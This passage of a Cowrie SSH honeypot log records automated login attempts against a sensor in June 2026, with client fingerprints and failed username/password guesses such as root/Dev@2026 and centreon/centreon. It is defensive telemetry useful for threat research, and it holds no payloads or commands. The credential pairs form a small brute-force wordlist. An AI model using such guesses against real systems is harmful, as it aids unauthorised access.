ha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:43.372186Z","src_ip":"141.11.88.14","session":"58de8fb73493","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centreon","password":"centreon","message":"login attempt [centreon/centreon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:43.863259Z","src_ip":"141.11.88.14","session":"58de8fb73493","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:44.963864Z","src_ip":"141.11.88.14","session":"58de8fb73493","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":12430,"dst_ip":"10.17.0.5","dst_port":22,"session":"4834bf1ebe18","protocol":"ssh","message":"New connection: 141.11.88.14:12430 (10.17.0.5:22) [session: 4834bf1ebe18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:49.423564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:49.552681Z","src_ip":"141.11.88.14","session":"4834bf1ebe18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:49.555540Z","src_ip":"141.11.88.14","session":"4834bf1ebe18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123123","message":"login attempt [minecraft/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:51.205955Z","src_ip":"141.11.88.14","session":"4834bf1ebe18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:52.388830Z","src_ip":"141.11.88.14","session":"4834bf1ebe18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53426,"dst_ip":"159.203.135.109","dst_port":23,"session":"60f9da9e3ff3","protocol":"telnet","message":"New connection: 172.81.62.90:53426 (159.203.135.109:23) [session: 60f9da9e3ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:55.329429Z"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.37.225","src_port":33668,"dst_ip":"159.203.135.109","dst_port":22,"session":"b81cbaaab053","protocol":"ssh","message":"New connection: 211.253.37.225:33668 (159.203.135.109:22) [session: b81cbaaab053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:56.049072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:56.055322Z","src_ip":"211.253.37.225","session":"b81cbaaab053","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:56.263592Z","src_ip":"211.253.37.225","session":"b81cbaaab053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":12460,"dst_ip":"10.17.0.5","dst_port":22,"session":"83a31d968b7e","protocol":"ssh","message":"New connection: 141.11.88.14:12460 (10.17.0.5:22) [session: 83a31d968b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:56.510286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:56.570203Z","src_ip":"141.11.88.14","session":"83a31d968b7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:56.926057Z","src_ip":"141.11.88.14","session":"83a31d968b7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ki","password":"ki","message":"login attempt [ki/ki] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:57.240335Z","src_ip":"211.253.37.225","session":"b81cbaaab053","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"game","password":"game","message":"login attempt [game/game] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:57.478237Z","src_ip":"141.11.88.14","session":"83a31d968b7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:58.509097Z","src_ip":"211.253.37.225","session":"b81cbaaab053","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:58.599992Z","src_ip":"141.11.88.14","session":"83a31d968b7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":38846,"dst_ip":"10.17.0.5","dst_port":22,"session":"967726261e72","protocol":"ssh","message":"New connection: 197.5.145.150:38846 (10.17.0.5:22) [session: 967726261e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:59.535520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:59.539758Z","src_ip":"197.5.145.150","session":"967726261e72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:59.658783Z","src_ip":"197.5.145.150","session":"967726261e72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dev@2026","message":"login attempt [root/Dev@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:00.175967Z","src_ip":"197.5.145.150","session":"967726261e72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:01.301089Z","src_ip":"197.5.145.150","session":"967726261e72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":22462,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a305a23a4ed","protocol":"ssh","message":"New connection: 141.11.88.14:22462 (10.17.0.5:22) [session: 0a305a23a4ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:06.796566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:06.817176Z","src_ip":"141.11.88.14","session":"0a305a23a4ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:06.886941Z","src_ip":"141.11.88.14","session":"0a305a23a4ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:07.261981Z","src_ip":"141.11.88.14","session":"0a305a23a4ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:08.427723Z","src_ip":"141.11.88.14","session":"0a305a23a4ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":11640,"dst_ip":"10.17.0.5","dst_port":22,"session":"139aa87f6384","protocol":"ssh","message":"New connection: 141.11.88.14:11640 (10.17.0.5:22) [session: 139aa87f6384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:14.928390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:15.095060Z","src_ip":"141.11.88.14","session":"139aa87f6384","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:15.098850Z","src_ip":"141.11.88.14","session":"139aa87f6384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@root@","message":"login attempt [root/@root@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:15.746089Z","src_ip":"141.11.88.14","session":"139aa87f6384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:16.831987Z","src_ip":"141.11.88.14","session":"139aa87f6384","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":51147,"dst_ip":"10.17.0.5","dst_port":22,"session":"4453cca64715","protocol":"ssh","message":"New connection: 36.92.41.115:51147 (10.17.0.5:22) [session: 4453cca64715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:22.509881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:22.516636Z","src_ip":"36.92.41.115","session":"4453cca64715","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":30234,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ca7f500a2f8","protocol":"ssh","message":"New connection: 141.11.88.14:30234 (10.17.0.5:22) [session: 4ca7f500a2f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:22.536247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:22.570362Z","src_ip":"141.11.88.14","session":"4ca7f500a2f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:22.664904Z","src_ip":"141.11.88.14","session":"4ca7f500a2f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:22.769420Z","src_ip":"36.92.41.115","session":"4453cca64715","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wang12345","message":"login attempt [root/wang12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:23.811360Z","src_ip":"36.92.41.115","session":"4453cca64715","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:24.008046Z","src_ip":"141.11.88.14","session":"4ca7f500a2f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:25.066554Z","src_ip":"36.92.41.115","session":"4453cca64715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:25.178472Z","src_ip":"141.11.88.14","session":"4ca7f500a2f8","protocol":"ssh"}
